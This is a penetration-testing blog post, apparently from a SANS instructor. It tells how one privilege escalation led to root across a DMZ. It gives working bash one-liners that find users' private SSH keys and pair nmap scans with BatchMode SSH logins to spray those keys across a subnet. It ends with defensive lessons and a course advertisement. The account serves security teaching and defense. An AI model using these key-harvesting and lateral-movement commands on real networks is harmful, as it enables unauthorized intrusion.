Sometimes people dismiss privilege escalation exploits and don’t give them the same priority as remote exploits. Certain software companies won’t even classify privilege escalation as “HIGH PRIORITY”. I wanted to share a story about how a single privilege exploit can result in the downfall of the entire network. Doug Burks and recently I teamed up on a penetration test and a little bash foo turned a single privilege escalation exploit into root on the entire infrastructure.
Our penetration test started with one vulnerability in a web application. Throw in a privilege escalation exploit and we had root access on a box. We grabbed /etc/shadow and gave it to John the Ripper. It just spun for a few hours with no immediate results. There were no easily cracked passwords. But we’ve got root and can pivot so we decide to moved on to another target. Looking around we found we had target rich DMZ environment. There are MANY targets and they are ALL in scope. A vulnerability scan revealed that they were well patched against remote exploitation. The method we used to get a foothold wasn’t going to get us on any of the other hosts in the DMZ. If the passwords aren’t cracking how do we get in? Hmm…. I wonder if anyone left SSH private keys lying around.
$ find /home -name “id_?sa”
/home/user1/.ssh/id_dsa
/home/user2/.ssh/id_rsa
/home/user3/.ssh/id_dsa
…
Awesome!! We found 10 users’ SSH private keys lying around. As long as the key isn’t password protected we can use it to log into any SSH server where they corresponding public key has been setup. Now the only problem is knowing which servers are setup to accept which keys.
First let’s look at how to check a single host to see which private keys work. We start with the output of our “FIND” command above and for each private key we find we will try to login to a specific server. To log in to the SSH server with a specific key we can use the following syntax:
ssh -q -o “BatchMode=yes” [email protected] -i /home/username/id_dsa
Here is what the parameters mean:
-q > – Quiet mode so we don’t get error messages
-o “BatchMode=yes” – Puts SSH into “Batchmode”. As a result prompt such as “Do you want to add the SSH Key to the keystore” and password prompts are disabled. The options seems like it was created for SSH key bruteforcing attacks such as this.
-i >- the path to the private key to use to login
[email protected] – The username to use to login and the IP of the Target Host
We can get the associated USERNAME from the path of the private key. It is the subdirectory beneath the /home directory. So let’s wrap it in a script that tries each of the keys against a specific host:
find / -name “id_?sa” | while read FILE; do USERNAME=`echo $FILE |cut -d/ -f3`; ssh -q -o “BatchMode=yes” [email protected] -i $FILE “echo 2>&1” && echo “I can login as $USERNAME”
So now if we replace x.x.x.x with a specific IP address we get a nice list of which keys are allowed to log into the target server. Now lets wrap that in a loop to try it against ALL the hosts on the network running SSH. So Doug parse out some NMAP results to grab the IP addresses of hosts running SSH. The following command grabs just the IP addresses of SSH servers on the subnet:
nmap -n -p22 –open x.y.z.0/24 |grep “Nmap scan report” |awk'{print $5}’
So putting the two together we get this:
nmap -n -p22 –open x.y.z.0/24 |grep “Nmap scan report” |awk'{print $5}’ | while read IP; do find / -name “id_?sa” |while read FILE; do USERNAME=`echo $FILE |cut -d/ -f3`; echo “Trying [email protected]$IP”; ssh -q -o “BatchMode=yes” [email protected]$IP -i $FILE “echo 2>&1” && echo “I can login as $USERNAME on $IP” ; done ; done
It gave us something like this truncated output:
Trying [email protected]
Trying [email protected]
Trying [email protected]
Trying [email protected]
….
I can login as user8 on x.y.z.31
Trying [email protected]
We quickly scanned the whole subnet and found several hosts that we could log in to. Our unpatched privilege exploit turned those simple logins into root access on all those hosts. Root access on those boxes revealed a whole new list of SSH keys to try. The first box we popped gave us 10 keys. Those 10 keys gave us 13 new hosts. Each of those 13 had a new set of keys and a new set of servers. EXPONENTIAL ROOT EXPLOITATION!!! In no time we had root access to a large portion of servers in the DMZ of the target environment. From there it was trivial to find ONE host that could be used to pivot to the internal network.
Lessons Learned?
1) Protect your SSH keys. Unless the key is being used by an automated service that is incapable of handling keys with password then put a password on your SSH key!
2) There was a patch available for the vulnerability in the web server. The customer had a 30 day patch cycle on servers in the DMZ. A 30 day patch cycle may be ok for your internal network. Your DMZ’s need to be better. Sometime 30 days isn’t fast enough.
3) Make administrators initiate connections from the internal network to each host in the DMZ. Don’t allow them to SSH between hosts in the DMZ. Unless you have automated services on two servers in the DMZ that need to communicate over SSH DMZ servers shouldn’t even see SSH on their peers.
4) Don’t put compilers and debuggers or any unnecessary software on your production boxes. We needed that compiler for our privilege escalation attacks. Compile your packages on your development and QA servers and copy them to production. When you minimize the software on the server you minimize the attack surface and make the attackers job more difficult.
Join me for SANS 560 Network Penetration Testing and Ethical Hacking vLIve! Class begins September 12, 2011. For a limited time attendees will receive an IPAD2! Register today for a FREE IPAD2!!
